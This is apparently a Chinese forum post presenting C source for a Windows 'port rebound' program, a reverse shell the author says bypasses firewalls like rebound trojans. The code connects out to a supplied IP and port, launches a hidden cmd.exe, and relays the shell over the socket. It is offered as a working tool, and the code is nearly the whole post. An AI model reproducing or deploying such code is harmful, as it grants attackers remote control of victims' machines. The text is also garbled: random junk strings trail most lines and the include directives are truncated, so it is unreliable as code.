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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _]H&,</  
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/* ============================== $i}y8nlQ  
Rebound port in Windows NT H*&f:mfq  
By wind,2006/7 AJ? r,!)  
===============================*/ y'~U%,ki6  
#include N~d?WD\^  
#include 1s2>C!\  
\y)rt )  
#pragma comment(lib,"wsock32.lib") C]eSizS.  
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void OutputShell(); qL&[K>2z  
SOCKET sClient; W5lR0)~#*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o"Euwh!!  
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void main(int argc,char **argv) 9T}pT{~V  
{ S)k*?dQ##R  
WSADATA stWsaData; ?'#` nx(!  
int nRet; oMD>Yw c-  
SOCKADDR_IN stSaiClient,stSaiServer; nntuLuW  
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if(argc != 3) tl4V7!U@^z  
{ m )zUU  
printf("Useage:\n\rRebound DestIP DestPort\n"); *,)Md[  
return; @ ZwvBH  
} .b&t ;4q  
t#/YN.@r  
WSAStartup(MAKEWORD(2,2),&stWsaData); *{@Nq=fE  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OwUhdiG  
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stSaiClient.sin_family = AF_INET; G<8/F<m/  
stSaiClient.sin_port = htons(0); bv9]\qC]T<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C'@i/+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gQelD6c  
{ d(x\^z  
printf("Bind Socket Failed!\n"); eRstD>r  
return; S8w _ii3zd  
} +I:Unp  
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stSaiServer.sin_family = AF_INET; Nw/  ku  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  E`0?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m 3hrb-  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 18d4fR   
{ /-qNh >v4  
printf("Connect Error!"); |`,2ri*5A  
return; \*y-g@-{W$  
} 7P5)Z-K[  
OutputShell(); _LUhZlw  
} Ugt/rf5n  
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void OutputShell() wY % }  
{ LTCb@L{^i  
char szBuff[1024]; "]x'PI 4J  
SECURITY_ATTRIBUTES stSecurityAttributes; #PW9:_BE  
OSVERSIONINFO stOsversionInfo; 4JXeV&5Qk'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J T7nG.9  
STARTUPINFO stStartupInfo; ")5":V~fN  
char *szShell; r:'.nhe  
PROCESS_INFORMATION stProcessInformation; {n.PF8A5X  
unsigned long lBytesRead; Z'W =\rl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vjCu4+w($Z  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xp% v.M  
stSecurityAttributes.lpSecurityDescriptor = 0; tBWrL{xLe  
stSecurityAttributes.bInheritHandle = TRUE; mzKiO_g}  
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^_W#+>&--  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J#(LlCs?@c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6=/F$|  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .},'~NM]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w<3#1/g!2B  
stStartupInfo.wShowWindow = SW_HIDE; ~?Pw& K2  
stStartupInfo.hStdInput = hReadPipe; SmH=e@y~Lx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M `M5'f  
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GetVersionEx(&stOsversionInfo); D%SlAzZ3  
k FD; i  
switch(stOsversionInfo.dwPlatformId) n\'4  
{ lh7#t#  
case 1: (gU!=F?#m  
szShell = "command.com"; rfJz8uF%  
break; |F[+k e  
default: hH 3RP{'=  
szShell = "cmd.exe"; s`8= 3]w  
break; !hy-L_wL]  
} {duz\k2  
,PW'#U:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7U"g3 a)=  
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send(sClient,szMsg,77,0); 783,s_  
while(1) o[w:1q7  
{ @n /nH?L  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :\c ^*K(9  
if(lBytesRead) 9:|{6_Y  
{ P|E| $)m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `UaD6Mc<Mz  
send(sClient,szBuff,lBytesRead,0); Lg.gfny[(t  
} _< V)-Y  
else I;(L%TT `  
{ |aS.a&vwR  
lBytesRead=recv(sClient,szBuff,1024,0); Q"d^_z ]K  
if(lBytesRead<=0) break; s 5Qcl;}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |SSSH  
} _J#zY- j  
} '<)n8{3Q5w  
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return; U< fGGCw  
}
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